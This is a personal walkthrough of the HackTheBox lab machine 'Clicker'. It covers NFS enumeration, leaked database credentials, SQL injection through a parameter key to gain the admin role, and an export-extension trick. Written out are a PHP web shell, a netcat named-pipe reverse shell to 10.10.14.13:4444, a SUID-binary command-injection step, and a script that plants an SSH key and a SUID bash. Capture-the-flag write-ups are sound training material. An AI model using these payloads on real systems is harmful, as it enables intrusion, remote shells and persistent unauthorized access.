HackTheBox: Clicker
01/13/2024
First live medium box Im attempting.
Enumeration
nmap scan shows multiple ports open:
- SSH on 22
- HTTP on 80
- rpcbind
on 111
- nfs
on 2049
Never heard of nfs
, but it's Network File System
, and it uses RPC to handle requests which explains rpcbind on 111.
Researching NFS
As usual with services I dont recognize, I go to Hacktricks for info: https://book.hacktricks.xyz/network-services-pentesting/nfs-service-pentesting
This has some useful tips and points to a metasploit scanner module, which Ill use now.
scanner/nfs/nfsmount #Scan NFS mounts and list permissions
msf6 auxiliary(scanner/nfs/nfsmount) > exploit
[+] 10.10.11.232:111 - 10.10.11.232 Mountable NFS Export: /mnt/backups [*]
[*] 10.10.11.232:111 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
Okay, so the metasploit module found a mountable NFS share, /mnt/backups
. Let me figure out how to mount that.
Looks like you mount it in a very similar way to how you would mount a local device:
mount -t nfs [-o vers=2] <ip>:<remote_folder> <local_folder> -o nolock
Ill make my own directory /mnt/backups
and mount it there:
$mkdir /mnt/backups
$sudo mount -t nfs 10.10.11.232:/mnt/backups /mnt/backups -o nolock
$ ls /mnt/backups/
clicker.htb_backup.zip
Hell yeah. We have a backup of the site.
Lets copy it and open it.
Searching Site Backup for Credentials
We have the backup of the site. First thing I do is grep -Ri passw .
to search for cleartext creds hardcoded into the site source:
diagnostic.php:$db_password="clicker_db_password";
diagnostic.php: $pdo = new PDO("mysql:dbname=$db_name;host=$db_server", $db_username, $db_password, array(PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION));
Here's a strange bit of code:
db_utils.php: $stmt = $pdo->prepare("SELECT password FROM players WHERE username = :player");
what does :player
mean in PHP?
So we have database creds, but that isnt exceptionally helpful unless we can get a shell to begin with.
Before diving into source code analysis for the site, let's check the website itself and see what we can do.
Checking the Site's Intended functionality
It's a game where you click the button and your score is based on number of clicks.
The registration works and I can sign in and play the game.
A couple things worth looking into:
- My username is echoed back on the welcome page. Maybe we can insert malicious code here? Either SSTI or php
- The site seems to send messages between pages using query string in URL; for example, http://clicker.htb/index.php?msg=Game%20has%20been%20saved!
It does save your progress.
Cool. Let's look at the source code now to see what looks exploitable.
Source Code Analysis
On my first pass through Im just going to skim and make note of critical bits of code.
admin.php
php
if ($_SESSION["ROLE"] != "Admin") {
header('Location: /index.php');
die;
}
may want to figure out how to change our role to admin
db_utils.php
php
$db_server="localhost";
$db_username="clicker_db_user";
$db_password="clicker_db_password";
$db_name="clicker";
$mysqli = new mysqli($db_server, $db_username, $db_password, $db_name);
$pdo = new PDO("mysql:dbname=$db_name;host=$db_server", $db_username, $db_password);
In the above, note that mysqli
just initiates a connection to the DB, and PDO
is a PHP Data Object
used for communicating with db.
create_player.php:
php
if (! ctype_alnum($_POST["username"])) {
header('Location: /register.php?err=Special characters are not allowed');
}
So there are measures against putting malicious code into username.
diagnostic.php
php
<?php
if (isset($_GET["token"])) {
if (strcmp(md5($_GET["token"]), "ac0e5a6a3a50b5639e69ae6d8cd49f40") != 0) {
header("HTTP/1.1 401 Unauthorized");
exit;
}
}
So it looks like you need a password token to use diagnostic mode, which is just an md5 hash. Im going to google that first, and if google doesnt find anything, Ill get John working on it as I keep going through source code.
Google didnt turn anything up, and it wasnt anything in rockyou.txt
. I have john working on it in incremental ascii mode now.
What the fuck? I stumbled across a site that happens to have this exact hash (https://onecompiler.com/php/3zs88ye7s):
php
<?php
if (strcmp(md5(null), "ac0e5a6a3a50b5639e69ae6d8cd49f40") != 0) {
//echo strcmp(md5("assaasdsadasdasdsadd"), "ac0e5a6a3a50b5639e69ae6d8cd49f40");
//echo nl2br("\n");
//echo md5("ac0e");
//echo nl2br("\n");
echo(md5("afsdfssfsdfdaddfsdfddfs"));
echo("ButtonLover99");
}
?>
so it looks like assaasdsadasdasdsadd
might be the hash. Let me try it
Is this from another HTB user? It must be. No way it has that much in common just by random chance.
Oh well, none of those strings are correct anyway. This must just be someone else's failed attempt at cracking it.
Moving on.
diagnostic.php
php
$data=[];
$data["timestamp"] = time();
$data["date"] = date("Y/m/d h:i:sa");
$data["php-version"] = phpversion();
$data["test-connection-db"] = $connection_test;
$data["memory-usage"] = memory_get_usage();
$env = getenv();
$data["environment"] = $env;
$xml_data = new SimpleXMLElement('<?xml version="1.0"?><data></data>');
array_to_xml($data,$xml_data);
$result = $xml_data->asXML();
print $result;
So it will display environment variables if you can get the diagnostic page working.
Attempting to bypass strcmp()
If we can figure out a way to bypass strcmp
in diagnostic.php
, we can view the environment variables of the user running the site, which may contain passwords.
There is actually some information online about doing this, such as the article here: (https://www.doyler.net/security-not-included/bypassing-php-strcmp-abctf2016)
From the article:
If I set $_GET[‘password’] equal to an empty array, then strcmp would return a NULL. Due to some inherent weaknesses in PHP’s comparisons, NULL == 0 will return true
Let me give this a shot:
http://clicker.htb/diagnostic.php?token[]=""
No luck. The issue is that its running the token through MD5 first, not just comparing the raw value.
Next best bet would be to generate MD5 collision.
Enumerating users
We could attempt to enumerate users by trying to register them and seeing which names return "User already exists".
- 'admin' is registered.
- 'ButtonLover99' is registered
- 'Paol' is registered
- 'Th3Br0' is registered
I could attempt to get access to one of these accounts by bruteforcing login.
In fact, that might be worth setting up while Im waiting.
Continuing to review source code
play.php
php
<script>
money = <?php echo $_SESSION["CLICKS"]; ?>;
update_level = <?php echo $_SESSION["LEVEL"]; ?>;
money = parseInt(money);
update_level = parseInt(update_level);
upgrade_cost = 15 * (5 ** update_level);
money_increment = upgrade_cost / 15;
function addcomma(x) {
return x.toString().replace(/\B(?=(\d{3})+(?!\d))/g, ",")
}
function saveAndClose() {
window.location.replace("/save_game.php?clicks="+money+"&level="+update_level);
}
function clicked() {
money += money_increment;
document.getElementById("total").innerHTML = "Clicks: " + addcomma(money);
}
function upgrade() {
if (money >= upgrade_cost) {
money_increment += upgrade_cost / 15;
money -= upgrade_cost;
update_level += 1;
upgrade_cost = upgrade_cost * 5;
document.getElementById("upgrade").innerHTML = addcomma(update_level) + " - LevelUP Cost: " + addcomma(upgrade_cost);
}
document.getElementById("click").innerHTML = "Level: " + addcomma(update_level);
document.getElementById("total").innerHTML = "Clicks: " + addcomma(money);
}
</script>
Vulnerabilities
Right now Im just kind of poking around. Noticed this glaring flaw in the save game
mechanism:
http
GET /save_game.php?clicks=1&level=1 HTTP/1.1
Host: clicker.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: close
Referer: http://clicker.htb/play.php
Cookie: PHPSESSID=i0bh1ug4litvh3p5osopvg708m
Upgrade-Insecure-Requests: 1
as you can see, it seems to encode the clicks and level in the request sent from client to server. Let's do a PoC to see if I can abuse this and set arbitrary level/clicks:
http
GET /save_game.php?clicks=1&level=1000 HTTP/1.1
Host: clicker.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: close
Referer: http://clicker.htb/play.php
Cookie: PHPSESSID=i0bh1ug4litvh3p5osopvg708m
Upgrade-Insecure-Requests: 1
Did it work? Let's restore the game and see...
# Clicks: 1
##### Level: 1,000
Hell yeah.
Now that I've established that I can set arbitrary values for saved game parameters, let's see if I can do PHP injection using these lines:
php
money = <?php echo $_SESSION["CLICKS"]; ?>;
update_level = <?php echo $_SESSION["LEVEL"]; ?>;
Since theyre double-quoted, they should expand any variables. Im quite sure I can leverage that to leak system info at the very least, or maybe even RCE.
save_game.php
php
if (isset($_SESSION['PLAYER']) && $_SESSION['PLAYER'] != "") {
$args = [];
foreach($_GET as $key=>$value) {
if (strtolower($key) === 'role') {
// prevent malicious users to modify role
header('Location: /index.php?err=Malicious activity detected!');
die;
}
$args[$key] = $value;
}
save_profile($_SESSION['PLAYER'], $_GET);
// update session info
$_SESSION['CLICKS'] = $_GET['clicks'];
$_SESSION['LEVEL'] = $_GET['level'];
header('Location: /index.php?msg=Game has been saved!');
}
so basically, it looks like you might be able to change other parameters about your profile from the save game functions. Let me see if I can use it to change my nickname.
Targeting the "Save Game" code to search for bugs
in save_game.php
php
in db_utils.php
php
function save_profile($player, $args) {
global $pdo;
$params = ["player"=>$player];
$setStr = "";
foreach ($args as $key => $value) {
$setStr .= $key . "=" . $pdo->quote($value) . ",";
}
$setStr = rtrim($setStr, ",");
$stmt = $pdo->prepare("UPDATE players SET $setStr WHERE username = :player");
$stmt -> execute($params);
}
You apparently CAN change valid parameters using the save game GET request, like nickname
. The only real evidence that its changing, besides the "Successfully saved" message, is that you can no longer sign in if you change the nickname.
Can we change nickname to admin?
Why does changing nickname prevent us from signing in again? Let's investigate
Here's the createnewplayer logic in db_utils
:
php
function create_new_player($player, $password) {
global $pdo;
$params = ["player"=>$player, "password"=>hash("sha256", $password)];
$stmt = $pdo->prepare("INSERT INTO players(username, nickname, password, role, clicks, level) VALUES (:player,:player,:password,'User',0,0)");
$stmt->execute($params);
}
So the nickname and username are identical.
You can change your username with the save game trick. What happens if I change my name to admin? Or to one of the other registered players? No luck there, get no response and sign in doesnt work.
Curious... db_utils.php:
php
// ONLY FOR THE ADMIN
function get_top_players($number) {
global $pdo;
$stmt = $pdo->query("SELECT nickname,clicks,level FROM players WHERE clicks >= " . $number);
$result = $stmt->fetchAll(PDO::FETCH_ASSOC);
return $result;
We could get on this top players list by spoofing our clicks, then have our nickname loaded. Wonder if this could be why it was crashing when I tried changing my nickname when I was level 1000? Because now I'm able to change the nickname without issue, with my clicks at 0.
What about this route: - abuse the save_game mechanism to change my nickname to include malicious php - login and view profile to execute php - spoof clicks to get the admin function to load my profile
Can we add PHP code to our nickname? It looks like we can! It's not executing though, but it hides it, so it recognizes it as PHP. Either way, by changing it this way, we bypass the special character restrictions in place when you register. So we can definitely leverage that somehow or other.
Question: Can we leverage this to get a reverse shell? Lets test:
http
GET /save_game.php?clicks=0&level=0&nickname=<?php system($_GET['cmd']);?> HTTP/1.1
Host: clicker.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: close
Referer: http://clicker.htb/play.php
Cookie: PHPSESSID=i0bh1ug4litvh3p5osopvg708m
Upgrade-Insecure-Requests: 1
Then URL encode and send.
Nope, doesnt look like you actually get RCE that way. We can probably leak something though, I would imagine. I guess it's a client-side thing that just doesnt display anything between <>
What does the site do with get_top_players()?
What does it do with get_top_players()
?
Im referring to the function below, that queries players with the most clicks:
db_utils.php:
php
// ONLY FOR THE ADMIN
function get_top_players($number) {
global $pdo;
$stmt = $pdo->query("SELECT nickname,clicks,level FROM players WHERE clicks >= " . $number);
$result = $stmt->fetchAll(PDO::FETCH_ASSOC);
return $result;
}
I feel like this is potentially exploitable, since we can spoof our clicks to get on this "top players" list, and we can also change our nickname, all using the broken save-game mechanism.
Where is it used?
grep -Ri get_top_players
export.php:$data = get_top_players($threshold);
admin.php: $top_players = get_top_players($threshold);
db_utils.php:function get_top_players($number) {
Three places: export.php
, admin.php
, and then its definition in db_utils.php
.
Let's see what admin.php
does with it first:
php
$threshold = 1000000;
$top_players = get_top_players($threshold);
if (count($top_players) > 0) {
echo '<h3>Top players</h3>';
echo '<table class="table table-dark">';
echo '<thead>';
echo ' <tr>';
echo ' <th scope="col">Nickname</th>';
echo ' <th scope="col">Clicks</th>';
echo ' <th scope="col">Level</th>';
echo ' </tr>';
echo '</thread>';
echo '<tbody>';
it appears to just search for all players with a click score greater than or equal to 1 million and print their information.
In export.php, each player in get_top_players
has their data written to a file and saved to exports/top_players_
plus a random string of 8 characters (not brute-forceable).
Is directory listing enabled? If we could inject php into our nickname then spoof our clicks to potentially get our data written to file, we could then access the file if we knew where it was and launch a revshell.
Nope, unfortunately... guess that would be too easy.
I think we WILL use that mechanism, but we first have to get admin privileges on the site.
Note that this is basically just log poisoning.
Getting "Admin" role
So, how do we do this?
Every other parameter of our profile we can change through the broken "save game" mechanism, but there's a countermeasure against changing your role here: save_game.php:
php
foreach($_GET as $key=>$value) {
if (strtolower($key) === 'role') {
// prevent malicious users to modify role
header('Location: /index.php?err=Malicious activity detected!');
die;
Basically, it checks if the input string is exactly equal to "role".
What Im wondering, though, is if we can spoof it using whitespace? No luck so far
Can we trick the authentication code to make it return the wrong user for the session?
Damn. This is tough.
We need SOME kind of vuln in the authentication chain. Just something we can get our foot into where it wrongly trusts information we supplied it.
Attempting SQL Injection to change role
Forums said SQLi was involved in foothold. Only place I can think to do that would be the save game mechanism, which uses a UPDATE ... SET... SQL statement. Maybe we can smuggle the role
update in with another parameter.
Nah, cant do it... it uses PDO prepared statements, which supposedly are basically immune to SQLi. Dude must be smoking crack.
Attempting to bypass token in diagnostics page
Back to this. This HAS to be the way.
php
<?php
if (isset($_GET["token"])) {
if (strcmp(md5($_GET["token"]), "ac0e5a6a3a50b5639e69ae6d8cd49f40") != 0) {
header("HTTP/1.1 401 Unauthorized");
exit;
}
There's gotta be a way to bypass this. The hash is uncrackable.
I think it has to do with the double-quotes in md5($_GET["token"])
; that allows variable expansion.
SQL injection Revisited
Check out this site: (https://phpdelusions.net/pdo/sqlinjectionexample#helper)
I actually stumbled on it earlier, but I didnt notice how similar the code sample was to the code in the app. The site shows an example of performing SQL injection into flawed PDO code.
Here's the sample vulnerable code from the article (format it later):
php
$params = [];
$setStr = "";
foreach ($data as $key => $value)
{
if ($key != "id")
{
$setStr .= $key." = :".$key.",";
}
$params[':'.$key] = $value;
}
$setStr = rtrim($setStr, ",");
$pdo->prepare("UPDATE users SET $setStr WHERE id = :id")->execute($params);
And here's the actual code from the app:
php
function save_profile($player, $args) {
global $pdo;
$params = ["player"=>$player];
$setStr = "";
foreach ($args as $key => $value) {
$setStr .= $key . "=" . $pdo->quote($value) . ",";
}
$setStr = rtrim($setStr, ",");
$stmt = $pdo->prepare("UPDATE players SET $setStr WHERE username = :player");
$stmt -> execute($params);
}
Some of the lines are almost identical between the two cases.
So let's read the article. How is the code vulnerable?
From the article,
It looks pretty good, as it can quickly produce a query out of any array which keys represent column names and values represent values to be used in the query. Given field names in HTML form are the same as table column names, it can greatly automate the form processing, letting you to use the same code to edit information in any table. Very convenient. But **catastrophically vulnerable.**
"How's that?" - you'd probably say - "placeholders are used and data is safely bound, therefore our query is safe". Yes, the _data_ is safe. But in fact, what does this code do is **taking user input and adding it directly to the query.** Yes, it's a `$key` variable. Which goes right into your query untreated.
Which means you've got an injection.
And god damn, he's right:
php
$setStr .= $key . "=" . $pdo->quote($value) . ",";
our $key
value is added directly to the query, and only the $value
gets quoted and sanitized.
So how do we exploit this?
From the article:
Here is a little proof of concept code, which, as long as you have a table "users" and a row with id=1, will change the user name in the table to a result of SELECT query. And this query could be anything:
html
<input type=hidden name="name=(SELECT'hacked!')WHERE`id`=1#" value="">
Oh thank fuck, finally!
Got the admin access. Here's what I did: - First, make an account (mine is named "demo") and click "play" to launch the game. Next we want to forge a "save game" request with malicious data. - Click "save and close" and intercept the request, and add the third parameter as so:
http
GET /save_game.php?clicks=0&level=0&role=(SELECT'Admin')WHERE`username`='demo'#='' HTTP/1.1
Host: clicker.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: close
Referer: http://clicker.htb/play.php
Cookie: PHPSESSID=nck0kv8fk9ddplmctq7c837bt5
Upgrade-Insecure-Requests: 1
Then URL encode role=(SELECT'Admin')WHERE
username='demo'#
; we are using this entire block as the $key
in the key-value pair, and the empty ''
is the value. That is, we are performing SQLi with the $key
.
We submit the request (remember to URL-encode) and get success message. Then we log out and log back in to force session to update from database, and we have the admin tab!
Holy shit that took forever. That's what I get for doing this on no sleep. The next part should be easy at least, since I already have a plan for it.
Getting a shell using LFI
This phase of the exploit I already had planned, so I should be able to execute it relatively quickly.
Im going to leverage the "save game" functionality to embed a php reverse shell in my profile's nickname, while simultaneously spoofing my click count to be over a million to put myself in the "top players" board (the threshold is hardcoded at 1000000). Then Im going to export the top players which will write all player details to file.
Then if I can navigate to the file, I can spawn a shell.
We will want to be sure to save the file in .html
format.
Here's the second malicious save game request:
http
GET /save_game.php?clicks=2000000&level=0&nickname=<?php system("rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.13 4444 >/tmp/f &");?> HTTP/1.1
Host: clicker.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: close
Referer: http://clicker.htb/play.php
Cookie: PHPSESSID=nck0kv8fk9ddplmctq7c837bt5
Upgrade-Insecure-Requests: 1
Then URL encode the nickname PHP payload.
We get a success message.
Back to the admin page: success. We're on the top score list, with our php code stored.
Now we export as html and get the response: ##### Data has been saved in exports/top_players_km3aef67.html
Hell yeah. I open up a netcat listener and now we navigate to the file:
Okay, no luck with that shell; I think it was too long. Let's try this one:
&nickname=<?php system($_GET['cmd']);?>
Hmm. Our php tag itself is being displayed in the page source rather than printed.
That must be because php doesnt automatically execute in .html
files.
We aren't given the .php
option in the drop-down menu, but can we manually change it in the intercepted request?
Looks like we can:
php
$filename = "exports/top_players_" . random_string(8) . "." . $_POST["extension"];
We just need to add the extension to the POST request, like so:
http
POST /export.php HTTP/1.1
Host: clicker.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 31
Origin: http://clicker.htb
Connection: close
Referer: http://clicker.htb/admin.php
Cookie: PHPSESSID=nck0kv8fk9ddplmctq7c837bt5
Upgrade-Insecure-Requests: 1
threshold=1000000&extension=php
Hell yeah:
##### Data has been saved in exports/top_players_5pm37mwn.php
Lets try it... Ill try hitting both the web shell and the reverse shell.
The system reset on me, so here it all is in one malicious save game request:
http
GET /save_game.php?clicks=2000000&level=0&nickname=<%3fphp+system("rm+-f+/tmp/f%3bmknod+/tmp/f+p%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+10.10.14.13+4444+>/tmp/f+%26")%3b%3f>&role%3d(SELECT'Admin')WHERE`username`%3d'test'%23='' HTTP/1.1
Host: clicker.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: close
Referer: http://clicker.htb/play.php
Cookie: PHPSESSID=nck0kv8fk9ddplmctq7c837bt5
Upgrade-Insecure-Requests: 1
and once we export the scoreboard as .php
and navigate to the page...
nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.10.14.13] from (UNKNOWN) [10.10.11.232] 34230
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
FUCK YEAH!!!!
That was the most intricate foothold I've gotten so far. Proud of that one.
Pivoting
Let's upgrade our revshell and start poking around.
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@clicker:/var/www/clicker.htb/exports$
[1]+ Stopped nc -nlvp 4444
┌──(kali㉿kali)-[~]
└─$ stty raw -echo;fg
nc -nlvp 4444
reset
www-data@clicker:/var/www/clicker.htb/exports$ export TERM=xterm
There we go.
First things first, let's make a list of stuff to check so I dont forget:
- What other users on system? Can we view their home dirs?
- Any SUID bins?
- Can we run sudo -l
without password?
- Any interesting env variables? We SHOULD, since the diagnostic.php page loads them
- Any cleartext passwords in web root?
- Can we access the database and get any user passwords?
- run linpeas
- run pspy
Other Users:
jack
SUID bins: (found using find / -perm -4000 2>/dev/null
)
One interesting item:
/opt/manage/execute_query
==what is this? come back to it. There's also a readme.txt in /opt/manage==
Can we run sudo -l? no
Interesting environment variables? No
Any cleartext creds in web root? no
Can we dump any user hashes from database? Not with the credentials we have,
clicker_db_user
clicker_db_password
clicker
Okay. Let's see what the execute_query
SUID bin is all about. If this is binary exploitation Im gonna be fucking amped
Analyzing a custom SUID binary and OPT directory
Going to be amped if this involves bianry exploitation, holy shit.
Let's not get ahead of ourselves though. The SUID is /opt/manage/execute_query
, but we also have some interesting stuff in /opt
:
www-data@clicker:/opt$ ls
manage monitor.sh
We have a script monitor.sh
, which contains some juicy info:
bash
#!/bin/bash
if [ "$EUID" -ne 0 ]
then echo "Error, please run as root"
exit
fi
set PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
unset PERL5LIB;
unset PERLLIB;
data=$(/usr/bin/curl -s http://clicker.htb/diagnostic.php?token=secret_diagnostic_token);
/usr/bin/xml_pp <<< $data;
if [[ $NOSAVE == "true" ]]; then
exit;
else
timestamp=$(/usr/bin/date +%s)
/usr/bin/echo $data > /root/diagnostic_files/diagnostic_${timestamp}.xml
fi
We just got the token for diagnostic.php
: "secretdiagnostictoken", which I will use now to view the diagnostic page. Second, we see that it saves this diagnostic data to a root directory. May be useful later.
Okay. Lets go into the /manage/
directory and see what we have:
www-data@clicker:/opt$ cd manage/
www-data@clicker:/opt/manage$ ls
README.txt execute_query
We have a readme with the following contents:
Web application Management
Use the binary to execute the following task:
- 1: Creates the database structure and adds user admin
- 2: Creates fake players (better not tell anyone)
- 3: Resets the admin password
- 4: Deletes all users except the admin
Okay. We dont necessarily care what it's SUPPOSED to do if we can abuse it, but we'll have to decompile it. Note that it uses the SUID bit to run as Jack:
www-data@clicker:/opt/manage$ ls -l
total 20
-rw-rw-r-- 1 jack jack 256 Jul 21 22:29 README.txt
-rwsrwsr-x 1 jack jack 16368 Feb 26 2023 execute_query
So we're almost definitely going to need to use this to pivot.
Im so excited. Let me download it for local analysis by copying it to web root stealthily...
cp execute_query /var/www/clicker.htb/exports/787628345
I give it a random numeric string as a name to camouflage it, both from fictional admin and also from other players on the server so that it doesnt ruin it for them. Then I just navigate to that name under exports on the site and download it.
Im actually going to transfer the file out of kali and into my local desktop to use Ghidra on it.
Reverse-Engineering execute_query()
SUID bin
First let's do some basic checks. Let's run strings
on it.
Output from strings
:
/lib64/ld-linux-x86-64.so.2
O+-W
__cxa_finalize
setreuid
__libc_start_main
atoi
puts
system
strncpy
strlen
strcat
__stack_chk_fail
calloc
access
libc.so.6
GLIBC_2.4
GLIBC_2.2.5
GLIBC_2.34
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
PTE1
u+UH
/home/jaH
ck/queriH
/usr/binH
/mysql -H
u clickeH
r_db_useH
r --passH
word='clH
icker_dbH
_passworH
d' clickH
er -v < H
ERROR: not enough arguments
ERROR: Invalid arguments
create.sql
populate.sql
reset_password.sql
clean.sql
File not readable or not found
:*3$"
GCC: (Ubuntu 11.3.0-1ubuntu1~22.04) 11.3.0
Scrt1.o
__abi_tag
crtstuff.c
deregister_tm_clones
__do_global_dtors_aux
completed.0
__do_global_dtors_aux_fini_array_entry
frame_dummy
__frame_dummy_init_array_entry
execute_query.c
__FRAME_END__
_DYNAMIC
__GNU_EH_FRAME_HDR
_GLOBAL_OFFSET_TABLE_
__libc_start_main@GLIBC_2.34
strncpy@GLIBC_2.2.5
_ITM_deregisterTMCloneTable
puts@GLIBC_2.2.5
_edata
_fini
strlen@GLIBC_2.2.5
__stack_chk_fail@GLIBC_2.4
system@GLIBC_2.2.5
calloc@GLIBC_2.2.5
__data_start
__gmon_start__
__dso_handle
_IO_stdin_used
_end
setreuid@GLIBC_2.2.5
__bss_start
main
access@GLIBC_2.2.5
atoi@GLIBC_2.2.5
strcat@GLIBC_2.2.5
__TMC_END__
_ITM_registerTMCloneTable
__cxa_finalize@GLIBC_2.2.5
_init
.symtab
.strtab
.shstrtab
.interp
.note.gnu.property
.note.gnu.build-id
.note.ABI-tag
.gnu.hash
.dynsym
.dynstr
.gnu.version
.gnu.version_r
.rela.dyn
.rela.plt
.init
.plt.got
.plt.sec
.text
.fini
.rodata
.eh_frame_hdr
.eh_frame
.init_array
.fini_array
.dynamic
.data
.bss
.comment
The custom text strings are broken up, but they will be easier to read in Ghidra.
What's interesting to note in the above, however, is that the binary apparently runs system()
... we may be able to perform command injection to get code execution as jack.
Now let's decompile it with Ghidra and take a look.
The program gives us an error about insufficient arguments when we try to run it. From the decompilation we can see that it expects one argument, a number between 0 and 4, where each one corresponds to a different .sql
file:
c
iVar1 = atoi(*(char **)(param_2 + 8));
pcVar3 = (char *)calloc(0x14,1);
switch(iVar1) {
case 0:
puts("ERROR: Invalid arguments");
uVar2 = 2;
goto LAB_001015e1;
case 1:
strncpy(pcVar3,"create.sql",0x14);
break;
case 2:
strncpy(pcVar3,"populate.sql",0x14);
break;
case 3:
strncpy(pcVar3,"reset_password.sql",0x14);
break;
case 4:
strncpy(pcVar3,"clean.sql",0x14);
break;
default:
strncpy(pcVar3,*(char **)(param_2 + 0x10),0x14);
Okay.
Examining defined strings in Ghidra turned up suspiciously little; I knew there have to be file paths defined, but none are in .rodata
. Then I figured out why: it seems to be attempting to obfuscate the strings by saving them as ints. I see right through it though, because the ints are composed of all valid ASCII values:
c
local_98 = 0x616a2f656d6f682f;
local_90 = 0x69726575712f6b63;
local_88 = 0x2f7365;
<SNIP>
iVar1 = access(__dest,4);
if (iVar1 == 0) {
local_78 = 0x6e69622f7273752f;
local_70 = 0x2d206c7173796d2f;
local_68 = 0x656b63696c632075;
local_60 = 0x6573755f62645f72;
local_58 = 0x737361702d2d2072;
local_50 = 0x6c63273d64726f77;
local_48 = 0x62645f72656b6369;
local_40 = 0x726f77737361705f;
local_38 = 0x6b63696c63202764;
local_30 = 0x203c20762d207265;
local_28 = 0;
These are the strings, hidden in plain sight. Is there an easy way to decode these? Maybe I can just paste them into cyberchef. The issue, though, is that they'll be in little-endian order.
Im going to attempt to quickly reverse these strings with a script.
Im an idiot. What I could have done is just stepped through in GDB and wait for the program to decode it itself... that would have been the "right" way. Fuck it, ill do it both ways for practice.
So the decoded strings are:
/usr/bin/mysql -u clicker_db_user --password='clicker_db_password' clicker -v <
The redirect at the end sets it up to restore db from a backup file. I assume that the argument we pass on command line determines which backup .sql
file is passed as the restoration image.
The three lines of encrypted text above the main block corresponds to
/home/jack/queries
==explain how I scripted it here==
==do it again in gdb==
Okay. Honestly I was very scattered in my approach to this; should have taken a more focused approach with the target of code execution, rather than run to every shiny little distraction like encrypted strings. Couldnt help it though.
Let's see how it uses system()
. First it copies in the base file path /home/jack/queries/
and appends EITHER one of the 4 .sql
files (for inputs 1,2,3 or 4), OR allows you to PROVIDE a filename on argv (ie, /home/jack/queries/<filename from argv>
). This is all stored in __dest
And it appears that we can write our own file in if we give an argument over 4, as the default
case in the selection switch statement seems to copy in 20 bytes from argv
:
c
default:
strncpy(command,*(char **)(param_2 + 0x10),0x14);
}
Then it will copy the system command /usr/bin/mysql -u clicker_db_user --password='clicker_db_password' clicker -v <
into the command
buffer, and then append the file path. Then it executes the command using system()
.
This should be easy enough to exploit. If we use option 5 to input our own filename, we can do OS injection in the filename. We are constricted to 20 bytes, but this should be enough.
What we can do is use the 20 character injection to run a script with the real commands. Ie,
echo -n ";/dev/shm/script.sh" | wc -c
19
So what we will do is make a script in /dev/shm
and load it with commands. We can either use this to copy /bin/bash
as an SUID bin, or we could append an ssh key to his authorized_keys, which would be better. That would give us a more reliable shell.
Here's the malicious script:
bash
$ cat /dev/shm/script.sh
#!/bin/bash
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDt36b40Je0VFcjXzBxNsXPCmTMX02qWOeIm1JIGIy8r+5XLnVyKPLiMN+k+EqBgcdbho9NWVNqzsToh+nTaf2OP47IOhFNdqZjDWeQ4KZOuVWFjVEWLpfAMH14XhTC9a3PuYtZZu1XUSsSD0txREVG/jcwK/nQs0cmmdLSMhCnF0dRYqqC7sGVc7917UF31qMDvEg1TbXrk9umDH2y/LOOxpENsXu+PBxJWeqH67A3B2ChOOvJ/dzgxSJDBQEsIoGiHw0P4jBEWnlkbLp26j2b3PRrjjNq9Ve5an0WseEWScUx3AlJqXUrzXNmklJEzQ12KF0OxRgU6Z11xmngJaRsYp6RDXqaSNlH5YFSAB2xM2vaCFS5clac3ZldHPANdk90ZLjNAt0W3gz0cNJcezuRF7N49w5+hbqMFWqp7Q8zgvltRoOTTGjv7+C2emqQ/mz6poiXNCCg/kou+6gj+hoHUDs0b18Fmv6eZvddD2HpBOHItnJVxbrEUxSxawfdsI0= kali@kali" >> ~/.ssh/authorized_keys
cp /bin/bash /dev/shm/1332
chmod +s /dev/shm/1332
I did two things: wrote the authorized_keys file with my public key, and also made an SUID copy of bash so that I can open a shell as jack, in case the ssh doesnt work.
Now let's try to execute it as follows:
www-data@clicker:/opt/manage$ ./execute_query 5 ;/dev/shm/script.sh
Segmentation fault (core dumped)
/dev/shm/script.sh: line 3: /var/www/.ssh/authorized_keys: No such file or directory
